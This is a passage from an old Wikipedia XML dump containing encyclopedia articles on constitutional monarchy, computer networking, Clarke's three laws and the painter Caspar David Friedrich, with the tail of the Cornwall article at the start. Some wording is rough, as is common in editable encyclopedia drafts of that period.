# {{note|GDP}} [http://education.guardian.co.uk/further/story/0,5500,1479952,00.html Guardian, Tuesday May 10, 2005]
# {{note|tour_num}} Cornwall Tourist Board, 2003. [http://www.cornwalltouristboard.co.uk/files/pdf/Revised_Tourism%20in%20Cornwall.pdf Tourism in Cornwall].
# {{note|eden_influence}} Scottish Executive, 2004. ''[http://www.scottishexecutive.gov.uk/library5/education/lrcas-14.asp A literature review of the evidence base for culture, the arts and sport policy]]''.
# {{note|economy}} The Economist, May 28th-June 3rd 2005

{{England ceremonial counties}}
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{{England traditional counties}}

[[Category:Cornwall| ]]
[[Category:Former countries]]
[[Category:History of England by locality|Cornwall]]
[[Category:Peninsulas]]
[[Category:Sovereignty movements]]

[[af:Cornwall]]
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[[br:Kernev-Veur]]
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[[es:Cornualles]]
[[eo:Kornvalo]]
[[fr:Cornouailles]]
[[ga:Corn na Breataine]]
[[ko:콘월 주]]
[[kw:Kernow]]
[[nl:Cornwall]]
[[ja:コーンウォール]]
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[[pl:Kornwalia]]
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    </revision>
  </page>
  <page>
    <title>Constitutional monarchy</title>
    <id>5649</id>
    <revision>
      <id>42092062</id>
      <timestamp>2006-03-03T19:51:29Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.234.202.130|198.234.202.130]] ([[User talk:198.234.202.130|talk]]) to last version by 198.234.202.132</comment>
      <text xml:space="preserve">A '''constitutional monarchy''' is a form of [[monarchy|monarchical]] [[government]] established under a [[constitution]]al system which acknowledges a hereditary or elected [[monarch]] as [[head of state]]. Modern constitutional monarchies usually implement the concept of ''[[Separation of powers|trias politica]]'' or &quot;separation of powers&quot;, where the monarch either is the head of the [[executive branch]] or simply has a [[ceremonial]] role. Where a monarch holds absolute power, it is known as an [[absolute monarchy]], and law within an absolute monarchy can often be quite different from law within a constitutional monarchy.

Today, constitutional monarchy is almost always  combined with [[representative democracy]], and represents theories of sovereignty which places sovereignty in the hands of the people, and those that see a role for traditions in the theory of government. Though the king or queen may be regarded as the head of state, the [[Prime Minister]], whose power derives directly or indirectly from elections, is [[Head of Government|head of government]].

Although current constitutional monarchies are mostly representative democracies, this has not always historically been the case.  
There have been monarchies which have coexisted with constitutions which were [[fascist]] (or quasi-fascist), as was the case in [[Italy]], [[Japan]] and [[Spain]], or with [[military dictatorships]], as was the case in [[Thailand]].

Some constitutional monarchies are [[hereditary]] but others, such as that of [[Malaysia]] are [[elective monarchies]].

==Differences between constitutional and absolute monarchies==
During the sixteenth form of government. Two of these types were [[absolutism]] and constitutional monarchies.
===Absolute Monarchy===
Absolutism is a government in which a king or queen rules with total power, in other words as a [[dictator]].  The initiation of absolutism was made possible because countries were experiencing turmoil under existing governments.  Religious wars, the decline of the church, and a growing middle class created a situation that demanded a leader to rule with complete power so as to restore order.  Under absolutism many monarchs that ruled a country kept total control because they believed they had a “divine right” which was given to them by God and bestowed upon them the power to control the country totally.  They often defended their abuse of power by saying that it was God’s will for them to rule.  Also in an absolute monarchy the monarch makes all economic decisions.  For example, [[Louis XIV of France]] abused his control of money by spending it on his [[Palace of Versailles]].  According to ''Early Modern France, 1560-1715'' (Robin Briggs, 1998, [[ISBN|ISBN13: 9780192892843]]), at the end of Louis XIV reign, the French Royal Family was in debt 2 billion livres or about 21 billion dollars.  This type of carelessness has the power to destroy countries, and it almost did so to France.  Although having a monarch in total control over the economy can be dangerous, it also can be advantageous if the monarch is responsible and knowledgeable on the subject of economics.  When one monarch has total control, their personal values may overrule core ethics.  This can cause a reduction of personal freedoms when the monarch favors one group over another.  King Louis XIV demonstrated this when he kicked the [[Huguenots]] out of France by canceling the [[Edict of Nantes]].  Many people supported forms of absolutism, including [[Thomas Hobbes]].

===Constitutional Monarchy===
A constitutional monarchy is a form of government in which a king or queen rules with limits to their power along with a governing body (i.e. [[Parliament]]).  A constitutional monarchy was able to form in England across different periods of history for a complex combination of reasons: sometimes due to a lack of strong leadership, and at other times due to strong leaders short of funding, who needed to raise money to prosecute wars, and needed to address public grievances to ensure this money was forthcoming. Historically, the English had not believed in the &quot;Divine Right of Kings&quot;: ever since Magna Carta in 1215, the monarchy had been regarded as a contractual political instrument. In the 17th Century, abuse of power by the Stuart dynasty, and their attempts to import the doctrine of &quot;Divine Right&quot; from Scotland, caused the English to question the royal authority and revive earlier safeguards against executive power.  Parliament took several key steps to limit the power of the King. They revived the English instrument of impeachment, which held the King's ministers to be responsible for his actions; hence the King's servants could be executed for implementing unpopular policies. They forced [[Charles I of England|Charles I]] to sign the [[Petition of Right]] that re-affirmed that the King must go through Parliament to enact new laws, taxes, etc.  After signing the Petition of Right, Charles I immediately ignored it, precipitating the [[English Civil War]]s, and the eventual beheading of the King for treason.  This sent a message to future monarchs of England that they did not have absolute power.  During [[Charles II of England|Charles II]] reign Parliament passed the [[Habeas Corpus Act 1679|Habeas Corpus]].  The Habeas Corpus Act said that any prisoner taken by the King would be given a trial.  This prevented the King from simply removing his enemies by sending them to jail.  When [[James II of England|James II]] took the throne many people did not appreciate it when he flaunted his Catholicism.  Therefore Parliament flexed its muscles once again by asking [[William III of England|William of Orange]] to overthrow the king.  William and his wife Mary came from the [[Netherlands]] and overthrew James II without bloodshed.  This was called the “[[Glorious Revolution]]”.  Once William and Mary had gained control of the throne, they completely supported the constitutional monarchy.  Together they signed the [[Bill of Rights 1689|Bill of Rights]], which severely limited the power of the king, and gave more freedom to his subjects.  One supporter of constitutional monarchy was [[John Locke]].  He wrote in his “[[Two Treatises of Civil Government|Treatises on Government]]” that a direct democracy is the best form of government.  He wrote that people are able to improve and rule themselves, and that people have three main rights.  These rights are life, liberty, and property, and it is the government’s job to protect these rights.  He also wrote that if the government is unjust the people have the right to overthrow it, a doctrine that was invoked during the American Revolution.
	
This evolution in thinking would eventually spawn such movements as [[universal suffrage]] and [[political parties]]. By the mid 20th Century, the political culture in Europe had shifted to the point where all constitutional monarchs had been reduced to the status of effective [[figurehead (political)|figurehead]]s, with no effective power at all. Instead, it was the democratically elected parliaments, and their leader, the [[prime minister]] who had become the true rulers of the nation. In many cases even the monarchs themselves, who once sat at the very top of the political and social hierarchy, were given the status of &quot;servants of the people&quot; to reflect the new, egalitarian reality.

The United Kingdom is a contitutional monarchy.

Boukary, Karima B. &quot;Contitutional Monarchy.&quot; Wikipedia. 2005. &lt;http://en.wikipedia.org/w/index.php?title=Constitutional_monarchy&amp; action=edit&amp;section=1&gt; (Date Veiwed)

==Constitutional Monarchies Today==
===Popularity===
The most significant family of constitutional monarchies in the world today are the sixteen Realms of the [[Commonwealth of Nations]], all independent parliamentary democracies under Elizabeth II. Unlike the United Kingdom, almost all of the other countries in this family have written constitutions with complex processes for constitutional change. Through political crises, peaceful constitutional drafting and international debate, the Westminster conventions concerning the constitutional monarch have gained much clearer definition in the other fifteen Realms than in the United Kingdom. In many of these constitutions the monarch or her representative have been regarded as an integral part of the Executive and Legislative processes, and their positions are explicitly protected, at least in part, by the written constitution. 

Unlike some of their continental European counterparts, the Westminster monarch and her representatives retain significant &quot;reserve&quot; or &quot;prerogative&quot; powers, to be wielded only in times of extreme emergency (e.g. Australia 1975, Granada 1983, Solomon Islands 1994), usually to uphold parliamentary government. On these occasions a lack of understanding by the public of the relevant constitutional conventions can cause controversy: for example, in the 1975 Dismissal of the Whitlam Government in Australia, Governor-General Sir John Kerr was blamed for his intervention over the Supply crisis (much to the bewilderment of British and Canadian constitutional commentators). Instead the blame for the crisis and its outcome should have been directed at the then Leader of the Opposition, Malcolm Fraser, who was politically responsible for refusing Supply and causing the immediate crisis, and who was formally responsible for the Whitlam Dismissal under the Westminster conventions concerning exercise of the reserve powers.   

With the exception of post-war [[Italy]], no modern, democratic constitutional monarchy has voted to abolish itself.

Though many of Europe's past and present [[leftist]] parties contain anti-monarchy factions, to date few have openly declared a preference for flat-out monarchial abolition, and instead use their powers to curtail and reform alleged &quot;un-democratic&quot; or &quot;prejudiced&quot; elements of the monarchy. For example, in recent years the age-old tradition of &quot;males first&quot; [[order of succession]] to the throne has been abolished in some European constitutional monarchies, allowing for eldest daughters to assume the throne before their brothers. 

One common view why modern constitutional monarchies continue to survive is that the individual royal families themselves have remained popular. Today, most contemporary royal families go out of their way to project a modern image to the citizenry of a monarchy that is both caring and interested in the people and their country. Many members of modern [[royal family|royal families]] frequently make donations or participate in [[charity]] events, visit poor or sick citizens, and make public appearances at high profile [[sport]]ing or [[art]]s events. Such moves can help make a monarchy seem contemporarily relevant, especially when the royals themselves get involved within the community. As long as a monarchy can remain popular in the public eye, there is little reason for the politicians to meddle, and those who do can easily find themselves at the receiving end of harsh public criticism. 

Other defenders of constitutional monarchies argue that royal families promote tourism, and are a (key) tradition associated with [[patriotism]] and national pride. For example, in many constitutional monarchies the monarch's birthday is a  [[national holiday]], and an event marked with public patriotic events and parties. In recent years many royal families have also become popular targets of [[tabloid]] journalism and [[gossip]], which although often argued as being intrusive and destructive, continues to prove that many find royals interesting simply as [[celebrity|celebrities]]. A further argument speculates that abolishing a popular monarchy may be a pointless endeavor anyway, as even a &quot;deposed&quot; royal family could presumably still live their royal lifestyle and capture public attention, making any republican replacement seem illegitimate. Historically, when monarchies have been abolished the royal family was usually [[exile]]d to a foreign country to prevent their presence from interfering or distracting from the new republican government. However, such moves were usually done during periods of conflict and turmoil with the monarchy. If a democratic country was to abolish its monarchy today, an exile for the royal family would likely be denounced as cruel, and would thus not be seen as a practical option.

In the 20th Century a much more politically sophisticated view in favour of preserving constitutional monarchies in parliamentary democracies has emerged,  for example, in the case of [[Queen Elizabeth II]], in terms of the usefulness of an observer within the Executive who is unaffiliated with political parties, who does not owe her job security to the Prime Minister of the day, and who can afford to scrutinise political controversies that may sweep the incumbent Prime Minister from office. She has no policy powers -- that is the domain of the elected government, headed by the Prime Minister -- but she is a required, formal co-signatory to political instruments, who has a personal stake in protecting constitutional government from non-justiciable abuses. The most famous advocates of this view were Canadian historian Eugene Forsey (later a Canadian senator, whose defence of the monarchy formed part of his doctoral thesis in history at Oxford) and Australian lawyer H.V. Evatt (later a High Court Judge and Australian attorney-general, whose treatment of Westminster law concerning the monarch and reserve powers was the basis of his doctoral thesis in law). It is interesting to note both Forsey and Evatt were social democrats, heavily involved in the labour movements of their respective countries. Their work built on that of Alpheus Todd, the 19th Century Librarian of the Canadian House of Commons. Todd's encyclopedic work effectively contradicted the popularly-known, class-obsessed treatise by Walter Bagehot, whose opinions on the monarchy as a &quot;bauble&quot; to distract the &quot;lower&quot; classes remain influential in Britain. In recent decades Bagehot has been effectively discredited, his historical, political and legal assumptions disproved. (For example, his belief that the Queen's position exists solely at the pleasure of the British Parliament does not withstand detailed scrutiny.)

Ironically, given the public perception of wealth and privilege associated with monarchy, the Todd/Evatt/Forsey case argues that the reserve powers of the Crown and the peculiar nature of the office render it a useful, if limited, asset against the &quot;presidential&quot; aspirations of prime ministers, and a superior safeguard for Executive oversight than anything available in a republican context. The case suggests she is an external observer who, when combined with the conventions of ministerial responsibility, enhances the democratic accountability of the Executive branch to the elected legislature, and the accountability of the elected legislature to the electorate.  

(See Nigel Greenwood, &quot;For the Sovereignty of the People&quot;, Australian Academic Press, 1999, for a defence of the Crown as a useful instrument of parliamentary democracy, giving a detailed examination of Todd, Evatt and Forsey, and a contrast-and-compare of modern US and French problems with 20th Century executive lawlessness; e.g. the post-Watergate findings of the US congressional committees re the absence of an executive figure outside the corrupted chain of command.)

==Previous monarchies==
[[France]] functioned briefly as a constitutional monarchy during the [[French Revolution]]. It also was a constitutional monarchy under the reign of [[Louis XVIII of France|Louis XVIII]] and [[Charles X of France|Charles X]], but the latter's attempt at reinstating absolute monarchy led to his fall. [[Louis-Philippe]] of France was also a constitutional monarch.

[[Napoleon I of France|Napoléon Bonaparte]], as Emperor of the French, was a constitutional monarch, though he had wide powers and also occasionally abused powers that he did not have.

Prior to the [[Iranian Revolution]] in 1979, [[Iran]] was technically a constitutional monarchy under [[Mohammad Reza Pahlavi|Mohammad Reza Shah Pahlavi]], though his unconstitutional actions and use of [[SAVAK|secret police]] in the later part of his reign qualify him as far more of an [[absolute monarch]].

[[Portugal]] until [[1910]] was a constitutional monarchy and the last king was [[Manuel II of Portugal]]. The last monarchic constitution, promulgated in 1838, excluded from the succession one of the actual pretender head of the Royal House of Portugal, [[Duarte Pio, Duke of Braganza|Duarte Pio of Bragança]].

[[Category:Forms of government]]

[[bg:Конституционна монархия]]
[[zh-min-nan:Ū hiàn-hoat ê ông-kok]]
[[ca:Monarquia constitucional]]
[[da:Konstitutionelt monarki]]
[[de:Konstitutionelle Monarchie]]
[[es:Monarquía constitucional]]
[[fr:Monarchie constitutionnelle]]
[[ko:입헌군주제]]
[[id:Monarki konstitusional]]
[[is:Stjórnarskrárbundin konungsstjórn]]
[[he:מונרכיה חוקתית]]
[[lt:Konstitucinė monarchija]]
[[ms:Raja berperlembagaan]]
[[nl:Constitutionele monarchie]]
[[ja:立憲君主制]]
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[[sv:Konstitutionell monarki]]
[[zh:君主立宪制]]</text>
    </revision>
  </page>
  <page>
    <title>Comets</title>
    <id>5650</id>
    <revision>
      <id>30455492</id>
      <timestamp>2005-12-07T10:31:19Z</timestamp>
      <contributor>
        <username>Brookie</username>
        <id>153741</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.190.153.155|208.190.153.155]] ([[User talk:208.190.153.155|talk]]) to last version by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[Comet]]</text>
    </revision>
  </page>
  <page>
    <title>Computer networking</title>
    <id>5652</id>
    <revision>
      <id>41923225</id>
      <timestamp>2006-03-02T17:22:16Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* External links */ Removed commercial link.</comment>
      <text xml:space="preserve">A '''computer network''' is a system for [[communication]] between [[computer]]s.  These [[Wiktionary:Network|network]]s may be fixed ([[network cable|cabled]], permanent) or temporary (as via [[modem]]s or [[null modem]]s). 

Carrying instructions between calculation machines and [[history of computing|early computers]] was done by human users. In September, 1940 [[George Stibitz]] used a [[teletype machine]] to send instructions for a problem set from his Model K at Dartmouth College in New Hampshire to his [[Complex Number Calculator]] in New York and received results back by the same means. Linking output systems like teletypes to computers was an interest at the Advanced Research Projects Agency [[ARPA]] when, in 1962, [[J.C.R. Licklider]] was hired and developed a [[working group]] he called the 'Intergalactic Network', a precursor to the [[ARPANet]]. In 1964 researchers at Dartmouth developed a [[time sharing]] system for distributed users of large computer systems. The same year, at MIT, a research group supported by General Electric and Bell Labs used a computer (DEC's [[PDP-8]]) to route and manage telephone connections. In 1968 [[Paul Baran]] proposed a network system consisting of datagrams or [[packets]] that could be used in a packet switching network between computer systems. In 1969 the University of California at Los Angeles, SRI (in Stanford), University of California at Santa Barbara, and the University of Utah were connected as the beginning of the [[ARPANet]] network using 50 kbit/s circuits. Networks, and the technologies needed to connect and communicate through and between them, continue to drive [[computer hardware]], [[software]], and [[peripherals]] industries. This expansion is mirrored by growth in the numbers and types of users of networks from researchers and businesses to families and individuals in everyday use.

==Categorizing==
* [[Local area network]] (LAN)
** [[HomePNA]]
** [[Power line communication]] (HomePlug)
* [[Metropolitan area network]] (MAN)
* [[Wide area network]] (WAN)
* [[Personal area network]] (PAN)

===By functional relationship===
* '''[[Client-server]]'''
* [[Peer-to-peer]] (Workgroup)

===By [[network topology]]===
* [[Bus network]]
* [[Star network]]
* [[Ring network]]
* [[Mesh network]]
* [[Star-bus network]]

===By specialized function===
* [[Storage area network]]s
* [[Server farm]]s
* [[Process control network]]s
* [[Value added network]]
* [[SOHO network]]
* [[Wireless community network]]
* [[XML appliance]]

==Protocol stacks==

Computer networks may be implemented using a variety of [[protocol stack]] architectures, [[computer bus]]es or combinations of media and protocol layers, incorporating one or more of:

* [[ARCNET]]
* [[AppleTalk]]
* [[Asynchronous Transfer Mode|ATM]]
* [[Bluetooth]]
* [[DECnet]]
* [[Ethernet]]
* [[Fiber distributed data interface|FDDI]]
* [[Frame relay]]
* [[HIPPI]]
* [[FireWire|IEEE 1394]] aka FireWire, iLink
* [[IEEE 802.11]]
* [[IEEE-488]]
* [[Internet Protocol|IP]]
* [[IPX]]
* [[Myrinet]]
* [[QsNet]]
* [[RS-232]]
* [[Sequenced packet exchange|SPX]]
* [[System network architecture|System Network Architecture]]
* [[Token Ring]]
* [[Transmission Control Protocol|TCP]]
** [[TCP Tuning]] for discussion of improving performance of same
* [[Universal Serial Bus|USB]]
* [[User datagram protocol|UDP]]
* [[X.25]]

For a list of more see [[Network protocol]]s.

For standards see [[IEEE 802]].

==Suggested topics==

Further reading for acquiring an in-depth understanding of computer networks include:

* [[Communication theory]]

===Layers===

{| class=&quot;prettytable&quot;
|-
! [[OSI model]] || [[Internet protocol suite|TCP/IP model]]
|-
| 
* [[Application layer]] 
|rowspan=3 | Application layer
|-
| 
* [[Presentation layer]]
|-
| 
* [[Session layer]] 
|-
| 
* [[Transport layer]] 
||  Transport layer
|-
| 
* [[Network layer]] 
** [[Routing]]
||  Internet Layer
|-
| 
* [[Data link layer]] 
** [[Switching]]
|rowspan=2| Network Access Layer
|-
|
* [[Physical layer]]
|}

===[[Data transmission]]===

====[[Wire]]d transmission====
* [[Public switched telephone network]]
** [[Modem]]s and dialup	
* [[Dedicated line]]s &amp;ndash; [[leased line]]s
* [[Time-division multiplexing]]
* [[Packet switching]]
* [[Frame relay]]
* [[Plesiochronous Digital Hierarchy|PDH]]
* [[Ethernet]]
* [[RS-232]]
* [[Optical fiber]] transmission
** [[Synchronous optical networking]]
** [[Fiber distributed data interface]]

====[[Wireless]] transmission====
* Short range
** [[Bluetooth]]
* Medium range
** [[IEEE 802.11]]
* Long range
** [[Satellite]]
** [[Multichannel Multipoint Distribution Service|MMDS]]
** [[SMDS]]
** [[Mobile phone]] data transmission ([[channel access method]]s)
*** [[Code division multiple access|CDMA]]
*** [[Cellular digital packet data|CDPD]]
*** [[Global system for mobile communications|GSM]]
*** [[Time division multiple access|TDMA]]
** [[Paging (telecommunications)|Paging]] networks
*** [[DataTAC]]
*** [[Mobitex]]
*** [[Motient]]

===Other===

* [[Computer networking device]]
** [[Network card]]
* [[Naming scheme]]s
* [[Network monitoring]]

==See also==
*[[Computing]]
* [[Minimum spanning tree]]
** [[Graph theory]]
** [[Prim's algorithm]]
*** [[Robert C. Prim]]
*** [[Vojtěch Jarník]]
*** [[Joseph Kruskal]]
*[[ARPANET]]
*[[BITNET]]
*[[Internet]]
** Internet networks:
*** [[Internet backbone|Backbone]]
*** [[SITA and eQuant]]
*** [[Transit]]
*** [[Stub network|Stub]]
*[[Ambient network]]

==References==

* [[Andrew S. Tanenbaum]], &quot;Computer Networks&quot; (ISBN 0133499456).
* [[List of important publications in computer science#Computer networks| Important publications in computer networks]]

==External links==
* [http://www.ericdigests.org/pre-921/networking.htm Networking and Microcomputers]
* [http://www.elook.org/computing/network.htm Network &amp;ndash; eLook Computing Reference] &amp;ndash; defines what a network is and provides leading links
* [http://www.ericdigests.org/1993/k-12.htm Networking: K-12]
* [http://www.techbooksforfree.com/networking.shtml Open source and non-copyrighted books on networking available for free download] 
* Prof. Rahul Banerjee's [http://discovery.bits-pilani.ac.in/rahul/PDFversions/Complete-InetBook-PHI-2003-Secure.pdf free e-book on Internetworking Technologies] deals with the foundations of major internetworking architectures (chapters 4&amp;ndash;9) 
* [http://www.netfilter.org/documentation/HOWTO//networking-concepts-HOWTO.html Easy Network Concepts] (Linux kernel specific)

[[Category:Computer networks| ]]
[[Category:Information technology]]
[[Category:Networks]]

[[ar:شبكة كمبيوتر]]
[[zh-min-nan:Tiān-náu bāng-lō·]]
[[ca:Xarxa informàtica]]
[[cs:Počítačová síť]]
[[da:Datanet]]
[[de:Rechnernetz]]
[[et:Arvutivõrk]]
[[eo:Komputila reto]]
[[es:Red de ordenadores/computadoras]]
[[fa:شبكه رایانه‌ای]]
[[fr:Réseau informatique]]
[[ia:Rete de computatores]]
[[it:Rete informatica]]
[[he:רשת מחשבים - מונחים]]
[[ku:Tor]]
[[lv:Datortīkli]]
[[lt:Kompiuterių tinklas]]
[[hu:Számítógép-hálózat]]
[[nl:Computernetwerk]]
[[ja:コンピュータ・ネットワーク]]
[[nb:Datanett]]
[[pl:Sieć komputerowa]]
[[pt:Rede de computadores]]
[[ru:Компьютерная сеть]]
[[sq:Rrjeti kompjuterik]]
[[simple:Computer network]]
[[fi:Tietokoneverkko]]
[[sv:Datornätverk]]
[[ta:கணினி வலையமைப்பு]]
[[tl:Network ng kompyuter]]
[[th:เครือข่ายคอมพิวเตอร์]]
[[vi:Mạng máy tính]]{{Link FA|vi}}
[[tr:Bilgisayar ağları]]
[[zh:计算机网络]]</text>
    </revision>
  </page>
  <page>
    <title>Clarke's three laws</title>
    <id>5653</id>
    <revision>
      <id>40996135</id>
      <timestamp>2006-02-24T10:25:24Z</timestamp>
      <contributor>
        <username>Phaunt</username>
        <id>165565</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">[[Arthur C. Clarke]] formulated the following three &quot;[[adage|law]]s&quot; of [[prediction]]:

#''When a distinguished but elderly scientist states that something is possible, he is almost certainly right. When he states that something is impossible, he is very probably wrong.''
#''The only way of discovering the limits of the possible is to venture a little way past them into the impossible.''
#''Any sufficiently advanced technology is indistinguishable from magic.''

==Origins==

Clarke's Law, later the first of the three laws, was proposed by Arthur C. Clarke in the essay &quot;Hazards of Prophecy: The Failure of Imagination&quot;, in ''Profiles of the Future'' (1962).
The second law is offered as a simple observation in the same essay; its status as Clarke's Second Law was conferred on it by others.

In a revised edition of ''Profiles of the Future'' (1973), Clarke acknowledged the Second Law and proposed the Third in order to round out the numbers, adding &quot;As three laws were good enough for Newton, I have modestly decided to stop there.&quot; Out of those three laws, the Third Law is the most known and widely cited.

==Corollaries==

Other writers have since proposed [[corollary|corollaries]] (not all of them actually corollaries, technically speaking) to Clarke's laws:

*''[[Isaac Asimov]]'s Corollary to Clarke's First Law'': When, however, the lay public rallies round an idea that is denounced by distinguished but elderly scientists and supports that idea with great fervor and emotion &amp;mdash; the distinguished but elderly scientists are then, after all, probably right. (&quot;Asimov's Corollary&quot;, ''[[The Magazine of Fantasy &amp; Science Fiction|F&amp;SF]]'', Feb. 1977)
*''[[Gregory Benford]]'s Corollary to Clarke's Third Law'': Any technology distinguishable from magic is insufficiently advanced. (''[[Foundation's Fear]]'', 1997)&lt;br&gt;Alternative version: ''Benford's Modified Clarke Law'': Any technology that does not appear magical is insufficiently advanced.[http://www.edge.org/q2004/index.html#benford]
*''[[Eric S. Raymond|Raymond]]'s Second Law'': Any sufficiently advanced system of magic would be indistinguishable from a technology.[http://www.edge.org/q2004/index.html#raymond]
*Rosenbaum's Corollary (formed in response to Harry Potter); &quot;Any magic, sufficiently debased, is indistinguishable from technology.&quot;
*''[[Bruce Sterling|Sterling]]'s Corollary to Clarke's Third Law'': Any sufficiently advanced garbage is indistinguishable from magic.[http://www.edge.org/q2004/page7.html#sterling]
*[[Dave Langford|Langford]]'s application of Clarke's Third Law to science fiction: Any sufficiently advanced technology is indistinguishable from a completely ad-hoc plot device. (&quot;A Gadget Too Far&quot;, ''[[New Worlds (magazine)|New Worlds 2]]'', 1992)
*[[Aaron Allston]]'s corollary to Clarke's Third Law; &quot;Any sufficiently badly-written science is indistinguishable from magic.&quot;
*[[Richard Factor]]'s corollary to Clarke's Third Law; &quot;Any sufficiently advanced technology [of communication] is indistinguishable from noise.&quot;
*[[Michael Shermer]]'s 'Last Law' takes after Clarke's Third Law; &quot;Any sufficiently evolved extraterrestrial intelligence is indistinguishable from God.&quot;
* [[Vernon Schryver]]'s play on Clarke's Third Law and [[Hanlon's Razor]]; &quot;Any sufficiently advanced incompetence is indistinguishable from malice.&quot; [http://groups.google.com/group/news.admin.net-abuse.email/msg/f9f67dca7591a860?hl=en&amp;]
* Often attributed to [[Andy Finkel]] - &quot;Any sufficiently advanced technology is indistinguishable from a rigged demo.&quot;

Sometimes referred to as one of Clarke's Laws is [[Amara's law]], stating that &quot;We tend to overestimate the effect of a technology in the short run and underestimate the effect in the long run,&quot; which was put forth by [[Roy Amara]] of [[The Institute for the Future]].

==References in other works==

*[[Terry Pratchett]] refers to the law in his ''[[Discworld]]'' books by having wizard [[Ponder Stibbons]] state that &quot;Any sufficiently advanced magic is indistinguishable from technology.&quot;


==See also==
* [[Isaac Asimov]]'s [[Three Laws of Robotics]]
* [[Adages named after people]]
* [[First contact (anthropology)]]
* [[SETI]]
* [[Futures studies]]

==External links==
*[http://groups.google.com.au/groups?selm=1991Nov13.122855.10634%40sq.sq.com The origins of the Three Laws]
*[http://freefall.purrsia.com/ff300/fv00255.htm Humorous corollary to Clarke's Third Law] (from the [[webcomic]] ''[[Freefall (webcomic)|Freefall]]'')
*[http://www.edge.org/q2004/ &quot;What's Your Law?&quot;] (lists some of the corollaries)
*[http://www.infinityplus.co.uk/nonfiction/dlnw.htm &quot;A Gadget Too Far&quot;] at Infinity Plus

[[Category:Adages]]
[[Category:Eponymous laws]]
[[Category:Technology]]

[[fr:Trois lois de Clarke]]
[[ja:クラークの三法則]]
[[pt:Leis de Clarke]]</text>
    </revision>
  </page>
  <page>
    <title>Caspar David Friedrich</title>
    <id>5654</id>
    <revision>
      <id>41917422</id>
      <timestamp>2006-03-02T16:34:47Z</timestamp>
      <contributor>
        <ip>69.196.0.175</ip>
      </contributor>
      <comment>Spelling, grammar, one point about patriotic desolation, &amp; biblical apocalypse</comment>
      <text xml:space="preserve">[[Image:Self-portait by Caspar David Friedrich.jpg|left|thumb|125px|Self-portrait in chalk, 1810]][[Image:Caspar studio.jpg|right|thumb|125px|''C.D.Friedrich in his studio'' by fellow artist Georg Friedrich Kersting, 1812]]
'''Caspar David Friedrich''' ([[September 5]], [[1774]] &amp;ndash; [[May 7]], [[1840]]) was a [[19th century]] [[Germany|German]] [[Romanticism|romantic]] painter, considered by many critics to be one of the finest exemplars of the movement.
== Life ==

Born in [[Greifswald]], a small town in [[Mecklenburg-Western Pomerania]] (at the time [[Sweden|Swedish]] territory, now [[Germany]]) Friedrich was the son of a candle-maker, from whom he received a religious education which would influence his work. Another possible influence on Friedrich's work was the witnessing of the premature death of one of his brothers while ice skating in the frozen [[Baltic sea]].  This incident could be a possible reason for the tragic and sometimes lugubrious visions portrayed in his art.  After previous lessons of drawing and etching with a local master, Quistorp, Friedrich studied at [[Copenhagen]] from [[1794]] to [[1798]] under [[Nikolaj Abraham Abildgaard]] and [[Jens Juel]]. After leaving Copenhagen, he visited several scenic spots in Germany before settling in [[Dresden]].There he was in touch with the best cultural and artistical personalities of the time in Germany like [[Goethe]], [[Heinrich von Kleist]], [[Ludwig Tieck]], [[Novalis]], [[Schelling]] , [[Phillip Otto Runge]] and [[Carl Gustav Carus]].Fellow artists and friends described him as a mysterious and mystic character, with an almost monkish lifestyle. His studio was bare and kept only the essential tools for work. He needed solitude and introspection to achieve his visions as he wrote:&quot;Close your bodily eye, so that you may see your picture first with your spiritual eye then bring to the light of day that which you have seen in the darkness so that it may react on others from the outside inwards.&quot;
After a long period of bachelorhood devoted to his art, he married with young Caroline Bommer in 1818 of whom he had three children (one of them, Emma, died in childhood). This led him to valorize human figure in his compositions. In 1817 he became a member of the Academy of Dresden and around 1820 [[Nicholas I]], future Czar of [[Russia]], visited his studio and became one of his patrons which led to the purchase of many paintings.[[Frederick William III]], king of [[Prussia]], was also an enthusiast of his art. Although his reserved and introspective personality was an obstacle to success, by this time he was a recognized and sucessful painter.
The years immediately prior to his death were made painful by declining health (in 1835 suffered a stroke) which prevented him from painting in oil.  Caspar David Friedrich died in Dresden, [[Saxony]], almost in oblivion.

== Work ==
[[Image:Caspar_David_Friedrich_028.jpg|thumb|right|220px|''Man and Woman Contemplating the Moon'', ca. 1830-1835]]
[[Image:Monk by the sea.jpg|thumb|right|220px|''Monk by the sea'', 1809]]
[[Image:Chalk cliffs.jpg|thumb|right|220px|''Chalk cliffs on Rügen'', 1830]]
[[Image:The sea of ice.jpg|thumb|right|230px|''The sea of ice'', 1824 (mistankenly known as &quot;The wreck of the Hope&quot; which was destroyed in 20th century)]]
After the development of sepia drawings and watercolours (mainly naturalistic and topographical) Friedrich took up oil painting after the age of thirty. His paintings were modeled after live sketches and studies of scenic spots, like the cliffs on [[Rügen]], the surroundings of Dresden or [[Elbe]] and later composed in [[symbolic]], often symmetrically balanced, compositions.  His first mature style painting is the &quot;Tetschen Altar&quot;(1807) in which the crucified Christ is seen in profile in the top of a mountain, alone, surrounded by nature. In his time this work was not unanimously accepted for the principal role of landscape in a religious subject, however, this was his first appraised painting. 
His famous morbidly romantic painting &quot;Mönch am Meer&quot; (Monk by the Sea) impressed [[Karl Friedrich Schinkel]] (later [[Prussia]]'s most famous [[classicism|classicist]] architect) so much that he gave up painting and took up [[architecture]], much to the benefit of German and world architecture. 

His paintings portray the untamed power of nature and the religious or [[pantheistic]] feeling within it; this is in sharp contrast to [[Age of Enlightenment|Enlightenment-era]] painters such as [[Thomas Gainsborough]], who used nature to bring out qualities in their human subjects. In Friedrich´s case it is [[God]]; our [[existential]] solitude and smallness before Him and nature is brought up, and in some sense his work can be seen as religious. The human beings depicted in his work seem to seek [[redemption]] or spiritual dialogue in Nature in which [[God]] seems to be [[immanent]]. Some of his desolate landscapes are thought to look like a biblical apocalypse. Persons are often seen by their back, contemplating landscapes and are a &quot;medium&quot; between the viewer of the painting and the background lanscape which is an [[allegory]] to spirituality. This [[pantheism]] is in tune with the German philosophy of this era and the thinking of [[Hegel]], [[Schelling]] or [[Schlegel]].

